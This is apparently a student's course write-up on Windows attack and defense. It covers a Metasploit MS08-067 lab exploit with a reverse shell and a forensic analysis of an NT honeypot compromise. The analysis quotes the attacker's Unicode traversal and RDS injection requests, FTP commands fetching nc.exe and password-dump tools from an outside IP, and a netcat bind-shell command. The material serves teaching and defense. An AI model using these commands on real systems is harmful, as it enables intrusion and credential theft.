20199320 2019-2020-2 《网络攻防实践》第7周作业

20199320 2019-2020-2 《网络攻防实践》第7周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10589
我在这个课程的目标是 掌握网络攻防知识及操作
这个作业在哪个具体方面帮助我实现目标 掌握Windows平台上的系统攻击技术以及抵御这些攻击的安全机制、防范方法和措施

一、知识点总结

1.1 Windows操作系统基本结构

  • Windows操作系统基本模型

    内核模式:内核代码运行在处理器特权模式(ring 0)

    用户模式:应用程序代码运行在处理器非特权模式(ring 3)

  • Windows内核基本模块

    组件 说明
    执行体 是内核核心文件的上层接口,包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,进程通信。
    内核 实现底层的操作系统功能,如线程调度,终端和异常处理。
    设备驱动程序 包括将用户的I/O操作转化为特定的硬件设备请求的硬件设备驱动程序,也包含文件系统和网络驱动程序。
    硬件抽象层 屏蔽Windows内核和平台硬件差异性的底层代码。
    窗口和图形 实现了图形用户界面函数。
  • Windows用户态基本模块

    模块 说明
    系统支持进程 是内核核心文件的上层接口,包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,进程通信。
    环境子系统服务进程 实现底层的操作系统功能,如线程调度,终端和异常处理。
    服务进程 包括将用户的I/O操作转化为特定的硬件设备请求的硬件设备驱动程序,也包含文件系统和网络驱动程序。
    用户应用软件 用户态执行的用户应用软件
    核心子系统DLL 动态链接库文件,是用户态服务进程与应用软件和操作系统的交互接口
  • Windows内核核心机制

    • 进程和线程管理机制

      包括:虚拟地址描述符、资源句柄列表、安全访问令牌、至少一个线程(指令执行的载体,记录进程ID、父进程ID等信息)。

    • 内存管理机制

    • 文件管理机制

      FAT (File Allocation Table文件分配表) :安全性弱,正在被NTFS取代

      NTFS (NT File System):基于访问控制列表机制保证文件读写安全性较FAT更具安全性,更好的性能、可靠性和磁盘利用效率

    • 注册表管理机制

      注册表查找编辑工具:Regedit.exe

      注册表监视工具:RegMon

      注册表ASEP点-autorun:经常被恶意代码/攻击者利用

    • 网络机制:

1.2 Windows操作系统的安全体系结构与机制

  • Windows操作系统安全体系结构示意图

    其中最为核心的是

    • SRM(Security Reference Monitor)安全引用监控器:作为主体对客体访问的中介,引用监控器根据安全访问控制策略来进行授权访问,并将访问记录生成审计日志。
    • LSASS (Local Security Authority Subsystem Service)安全服务,实现了对主体用户
      的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
  • Windows身份认证机制

    • 安全主体:用户、用户组、计算机,以SID来标识。

    • 身份认证方式:本地身份认证(本地系统登录)和网络身份认证(远程网络访问)

    • 过程:Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。

  • Windows授权和访问控制机制

    • Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
  • Windows安全审计机制

    • g过程:LSASS服务保存审计策略;SRM访问授权时也会审计记录,发送给LSASS服务进行补充,将这些审计记录发送给EventLog事件日志服务;EventLog服务最后将日志写进日志文件。
  • Windows的其他安全机制

    • Windows安全中心,在此集成的防火墙、补丁自动更新、病毒防护。
    • IPSec加密与验证机制,EFS加密文件系统等等。

1.3 Windows远程安全攻防技术

  • 远程口令猜测与破解攻击

    • 口令字猜测方法:空白口令、弱口令(高概率组合)、字典攻击、暴力破解。
    • 防御:
      • 关闭不必开放的易受远程口令猜测攻击的网络服务,如TCP 139/445端口的SMB服务等;
      • 配置防火墙;
      • 利用网络防火墙:限制TCP 139/445端口访问
      • 应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM ,而仅使用经过安全加固的NTLMv2与Kerberos认证协议,应保持Windows补丁的自动更新并确认NTLMv2协议中发现的安全漏洞已被修补(MS08-068与MS10-012补丁)。
      • 制定和实施强口令字策略
  • 攻击Windows网络服务

    • Windows默认开放服务中出现过的著名安全漏洞与攻击案例

    • 防范:

      • 从软件设计开发根源上尽可能减少安全漏洞;
      • 尽快地更新与应用安全补丁;
      • 管理员对安全敏感的服务器测试和实施可用的攻击缓解配置;
      • 利用服务软件厂商及社区提供的安全核对清单对服务进行安全配置;
      • 通过漏洞扫描软件标识存在的安全漏洞 并及时修补。
  • 攻击Windows客户端及用户

1.4 Windows本地安全攻防技术

  • 本地提权攻击

    利用操作系统内核、特权用户启动程序中安全缺陷与漏洞。

  • 敏感信息窃取

    • Windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)。
    • Windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)。
    • 防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
  • Windows消踪灭迹

    • 方法:关闭审计功能、清理事件日志。
    • 防范:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
  • 远程控制和后门程序

    向受控主机中植入第三方的远程控制与后门程序。

    • 工具:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
    • 后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
    • 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。

二、实践过程

2.1 动手实践:Metasploit Windows Attack

使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08_067漏洞进行远程渗透攻击,获取目标主机访问权;


  • 用到的主机

    主机 IP
    kali(攻击机) 192.168.200.4
    Win2KServer(靶机) 192.168.200.124

    注:该攻击必须保证双方在同一网段,且可以ping通。

  • kali中输入msfconsole启动kali里面的msfconsole

  • 选择渗透攻击模块

    • 输入search ms08_067查看漏洞ms08_067的详细信息,如图:

    • 输入use exploit/windows/smb/ms08_067_netapi选择针对MS08_067漏洞的渗透攻击模块。

  • 选择攻击负载模块

    • 输入show payloads列举出所有适用的负载模块,如图所示,然后执行set payload generic/shell_reverse_tcp选择你要用的攻击负载模块。这里我选择了3号(TCP反转)。
  • 配置参数

    • 使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

    • 执行set LHOST 192.168.200.4设置攻击机为kali,set RHOST 192.168.200.124设置靶机为win2k,再show options查看是否配置成功,如图:

    • 这里可能会用到show targets、`set target [number]配置靶机的操作系统及版本,我这里默认选择的是0号(自动分配),所以不再配置。

  • 开始渗透攻击

    • 输入exploit开始攻击。

    • 输入ipconfig查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。如图:

  • 小尝试

    感觉渗透攻击很有意思,于是想到是否可以攻击一下自己主机,设置网关使IP处于同一网段后,此时是可以ping通的,但执行上述过程不能成功,target连接失败。猜测可能是防火墙的防护,于是我关闭了防火墙,但仍旧同样的问题失败。猜测肯定是主机设置了一系列防范措施,幸好攻击失败,不然可就太危险了。

2.2 取证分析实践:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,回答下面的问题:


  1. 攻击者使用了什么破解工具进行攻击?

    • 首先用wireshark打开snort-0204@0117.log文件,可以看到该文件含有大量http数据包,猜测是针对HTTP发起的攻击,可具体是什么漏洞的攻击呢?知识浅薄的我只能通过大致扫一下这些HTTP包,对不熟悉的进行百度。我发现了GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 这么一行怪异的字符串,搜到%C0%AF是一种百分号编码格式,被转换成“/”或“”字符,这是IIS 4.0/5.0中存在的Unicode字符解码漏洞。boot.ini可引导电脑中多系统,并设置启动菜单。因此,这句话是攻击者利用Unicode漏洞打开了系统启动文件boot.ini

    • 接下来,又很明显地看到140号数据包中GET /msadc/msadcs.dll HTTP/1.0 ,经过对Windows常见漏洞的了解可看出这是针对MSADCS RDS 弱点漏洞的攻击,攻击者可以远程执行用户系统的命令,并以设备用户的身份运行。

    • 随后又可发现大量含 msadcs.dllPOST请求包,选择一个进行TCP流跟踪,发现了惊天大秘密,如图

      可分析出攻击者在获得了靶机权限后,执行了Select * from Customers where City='|shell("cmd /c echo get nc.exe >> ftpcom")|'.......driver={Microsoft Access Driver (*.mdb)}...;进行SQL注入,如此更能确定针对MSADCS RDS 弱点漏洞的SQL注入攻击。

    • 查看了一些含 msadcs.dllPOST请求包的tcp流跟踪后,发现几乎每个都有boundary=!ADM!ROX!YOUR!WORLD!;这么一句话,经查资料,这个特征字符串是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的。

    • 至此,攻击者通过查点确认了目标系统提供 Web 服务的是臭名昭著的 IIS v4.0,并存在Unicode 和 MDAC RDS 安全漏洞,可进行进一步渗透攻击。


  2. 攻击者如何使用这个破解工具进入并控制了系统?

    • 观察到每次 RDS 渗透攻击间的间隔时间均为 6秒左右,可以推测攻击者是预先写好需执行的 shell 指令列表,然后由 msadc(2).pl 渗透攻击工具一起执行。

    • 可以发现攻击者并没有成功,之后便又开始转向 Unicode 攻击,每条请求间隔时间大概在 10-12 秒,意味着指令可能是由攻击者手工输入的,如图:

    • 提取出这些指令:

      SESSION:1874-80 "copy C:winntsystem32cmd.exe cmd1.exe"
      SESSION:1875-80 "cmd1.exe /c open 213.116.251.162 >ftpcom"
      SESSION:1876-80 "cmd1.exe /c echo johna2k >>ftpcom"
      SESSION:1877-80 "cmd1.exe /c echo haxedj00 >>ftpcom"
      SESSION:1879-80 "cmd1.exe /c echo get nc.exe >>ftpcom"
      SESSION:1880-80 "cmd1.exe /c echo get pdump.exe >>ftpcom"
      SESSION:1881-80 "cmd1.exe /c echo get samdump.dll >>ftpcom"
      SESSION:1882-80 "cmd1.exe /c echo quit >>ftpcom"
      SESSION:1885-80 "cmd1.exe /c ftp -s:ftpcom"
      SESSION:1887-80 "cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
      

      蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程 shell 通道。接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。


  3. 当攻击者获得系统的访问权后做了什么?

    • 查看SESSION:1887-80之后的数据包,跟踪之后包的tcp流,如图:


      可见攻击者获得了IUSER_KENNY 用户账号(IIS启动用户)权限,但但显然他并不满足于此,虽然能够通过 MDAC RDS以SYSTEM账号运行任意指令,但攻击者仍然希望获得本地Administrator 用户权限。

  4. 我们如何防止这样的攻击?

    • 针对RDS漏洞:

      • 移除或删除系统内/msadc目录,同时移除c:Program FilesCommon FilesSystemMsadcmsadcs.dll
      • 打补丁
    • 针对Unicode漏洞:

      • 限制网络用户访问和调用CMD命令的权限;
      • 若没必要使用SCRIPTS和MSADC目录,删除或改名;
      • 安装windows NT系统时不要使用默认WINNT路径,您可以改为其他的文件夹,如C:mywindowsnt;
      • 打补丁
    • 尽量不要使用 IIS4.x 这样臭名昭著的 Web Server;

    • 如果必须使用 IIS4.x,主要的防范措施有:打补丁,关闭用不到的网络服务,使用 NTFS 文件系统。


  5. 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

    • 攻击者绝对意识到了他的目标是蜜罐主,因为他建立了一个文件,并输入了如下内容 C:>echo best honeypot i've seen till now : ) > rfp.txt(追踪如图所示的含[PSH],即有数据传输的数据流可查看)。

2.3 团队对抗实践:Windows系统远程渗透攻击与分析

攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;

防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。


  • 打开wireshark进行捕获,执行和上述2.1一样的攻击过程。

由图可分析到:

  • 源地址192.168.200.4,目标地址192.168.200.124;
  • 源端口44435,目标端口445;
  • 攻击发起时间:2020.4.14 11:57:23
  • 攻击利用的漏洞:针对SMB网络服务的漏洞;
  • 攻击成功之后在本地执行的命令输入:ipconfig

三、 学习中遇到问题及解决

  • 问题1:对解码NT系统攻击的实践一筹莫展。

    解决方法:首先查阅了Windows常见漏洞,然后对.log文件一个一个包的查看,遇到陌生的字符串就去百度,慢慢有了思路。

  • 问题2:tcp数据包中含[PSH]的标志是什么意思?

    解决方法:查资料了解到表示有data数据传输,于是,进行tcp流追踪,发现了攻击者的一些不为人知的行为。

四、实践总结

通过这一章节了解了Windows操作系统的结构和安全体系,并通过实践学习了windows渗透攻击的技术。分析NT攻击时虽然开始真的无从下手,但只要不懂就查,慢慢摸索,终会找到思路。感觉学到了一些知识,很充实。

五、参考文献

原文地址:https://www.cnblogs.com/liangxu111/p/12706026.html